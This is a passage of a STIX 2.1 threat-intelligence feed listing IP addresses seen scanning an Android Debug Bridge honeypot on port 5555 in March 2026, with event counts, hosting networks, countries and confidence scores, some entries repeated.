        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:00:08.000Z",
      "valid_until": "2026-04-09T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-08T03:47:56.000Z",
          "last_seen": "2026-03-27T10:22:39.215Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T04:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-08T03:46:26.000Z | last_seen=2026-03-08T03:47:30.106Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ebe4d0e3-68ed-434e-a150-e60f220c8cf1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T04:00:08.000Z",
      "valid_until": "2026-04-09T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-08T03:46:26.000Z",
          "last_seen": "2026-03-08T03:47:30.106Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=28; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=673 | first_seen=2026-03-08T04:26:57.000Z | last_seen=2026-03-25T22:07:16.499Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--1729efea-9110-4014-b214-d32b03e11334",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:00:02.000Z",
      "valid_until": "2026-04-09T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 673,
          "first_seen": "2026-03-08T04:26:57.000Z",
          "last_seen": "2026-03-25T22:07:16.499Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=28; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=673 | first_seen=2026-03-08T04:26:57.000Z | last_seen=2026-03-25T22:07:16.499Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--1729efea-9110-4014-b214-d32b03e11334",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T05:00:02.000Z",
      "valid_until": "2026-04-09T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 673,
          "first_seen": "2026-03-08T04:26:57.000Z",
          "last_seen": "2026-03-25T22:07:16.499Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=KR; asn=9976; asn_org=Namincheon Brodcasting Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-08T05:30:07.000Z | last_seen=2026-03-08T05:31:15.023Z | ports=5555 | cc=KR | asn=9976 | org=Namincheon Brodcasting Co., Ltd.",
      "id": "indicator--bd6ad2cf-5c19-45e1-8a31-cc82ac4726d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '211.235.62.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T06:00:02.000Z",
      "valid_until": "2026-04-09T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-08T05:30:07.000Z",
          "last_seen": "2026-03-08T05:31:15.023Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "9976"
          ],
          "org": [
            "Namincheon Brodcasting Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=KR; asn=9976; asn_org=Namincheon Brodcasting Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-08T05:30:07.000Z | last_seen=2026-03-08T05:31:15.023Z | ports=5555 | cc=KR | asn=9976 | org=Namincheon Brodcasting Co., Ltd.",
      "id": "indicator--bd6ad2cf-5c19-45e1-8a31-cc82ac4726d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '211.235.62.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T06:00:04.000Z",
      "valid_until": "2026-04-09T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-08T05:30:07.000Z",
          "last_seen": "2026-03-08T05:31:15.023Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "9976"
          ],
          "org": [
            "Namincheon Brodcasting Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T08:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=422 | first_seen=2026-03-08T07:09:47.000Z | last_seen=2026-03-27T11:20:16.149Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--5f6fb5d8-ce28-424e-bb38-745c9d7dc37d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T08:00:02.000Z",
      "valid_until": "2026-04-09T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 422,
          "first_seen": "2026-03-08T07:09:47.000Z",
          "last_seen": "2026-03-27T11:20:16.149Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T08:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=422 | first_seen=2026-03-08T07:09:47.000Z | last_seen=2026-03-27T11:20:16.149Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--5f6fb5d8-ce28-424e-bb38-745c9d7dc37d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T08:00:02.000Z",
      "valid_until": "2026-04-09T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 422,
          "first_seen": "2026-03-08T07:09:47.000Z",
          "last_seen": "2026-03-27T11:20:16.149Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-08T09:33:43.000Z | last_seen=2026-03-08T09:43:59.146Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--b8690fcd-f7c1-48c8-a266-2ea0bea70d6b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '161.35.230.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T10:00:03.000Z",
      "valid_until": "2026-04-09T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-08T09:33:43.000Z",
          "last_seen": "2026-03-08T09:43:59.146Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SE; asn=42237; asn_org=w1n ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-08T09:22:02.000Z | last_seen=2026-03-08T09:23:06.093Z | ports=5555 | cc=SE | asn=42237 | org=w1n ltd",
      "id": "indicator--9f0c0581-4492-4bc8-90a9-6fda960bc7a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.217.0.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T10:00:03.000Z",
      "valid_until": "2026-04-09T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-08T09:22:02.000Z",
          "last_seen": "2026-03-08T09:23:06.093Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SE"
          ],
          "asn": [
            "42237"
          ],
          "org": [
            "w1n ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-08T09:33:43.000Z | last_seen=2026-03-08T09:43:59.146Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--b8690fcd-f7c1-48c8-a266-2ea0bea70d6b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '161.35.230.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T10:00:03.000Z",
      "valid_until": "2026-04-09T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-08T09:33:43.000Z",
          "last_seen": "2026-03-08T09:43:59.146Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SE; asn=42237; asn_org=w1n ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-08T09:22:02.000Z | last_seen=2026-03-08T09:23:06.093Z | ports=5555 | cc=SE | asn=42237 | org=w1n ltd",
      "id": "indicator--9f0c0581-4492-4bc8-90a9-6fda960bc7a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.217.0.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T10:00:03.000Z",
      "valid_until": "2026-04-09T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-08T09:22:02.000Z",
          "last_seen": "2026-03-08T09:23:06.093Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SE"
          ],
          "asn": [
            "42237"
          ],
          "org": [
            "w1n ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-08T10:44:58.000Z | last_seen=2026-03-08T10:55:03.212Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--0a6c8b19-290f-47da-9760-f1552be5820b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.220.248.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T11:00:02.000Z",
      "valid_until": "2026-04-09T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-08T10:44:58.000Z",
          "last_seen": "2026-03-08T10:55:03.212Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-08T10:44:58.000Z | last_seen=2026-03-08T10:55:03.212Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--0a6c8b19-290f-47da-9760-f1552be5820b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.220.248.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T11:00:02.000Z",
      "valid_until": "2026-04-09T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-08T10:44:58.000Z",
          "last_seen": "2026-03-08T10:55:03.212Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=260 | first_seen=2026-03-08T11:54:52.000Z | last_seen=2026-03-12T04:45:50.740Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--452385b4-1786-4952-8a4f-91d60e3462be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:00:02.000Z",
      "valid_until": "2026-04-09T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 260,
          "first_seen": "2026-03-08T11:54:52.000Z",
          "last_seen": "2026-03-12T04:45:50.740Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=260 | first_seen=2026-03-08T11:54:52.000Z | last_seen=2026-03-12T04:45:50.740Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--452385b4-1786-4952-8a4f-91d60e3462be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T12:00:02.000Z",
      "valid_until": "2026-04-09T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 260,
          "first_seen": "2026-03-08T11:54:52.000Z",
          "last_seen": "2026-03-12T04:45:50.740Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T13:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=PH; asn=142002; asn_org=Scloud Pte Ltd; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-08T12:34:14.000Z | last_seen=2026-03-09T15:32:30.797Z | ports=5555 | cc=PH | asn=142002 | org=Scloud Pte Ltd",
      "id": "indicator--800b70ce-9151-43bd-89de-321e28f62964",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.210.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
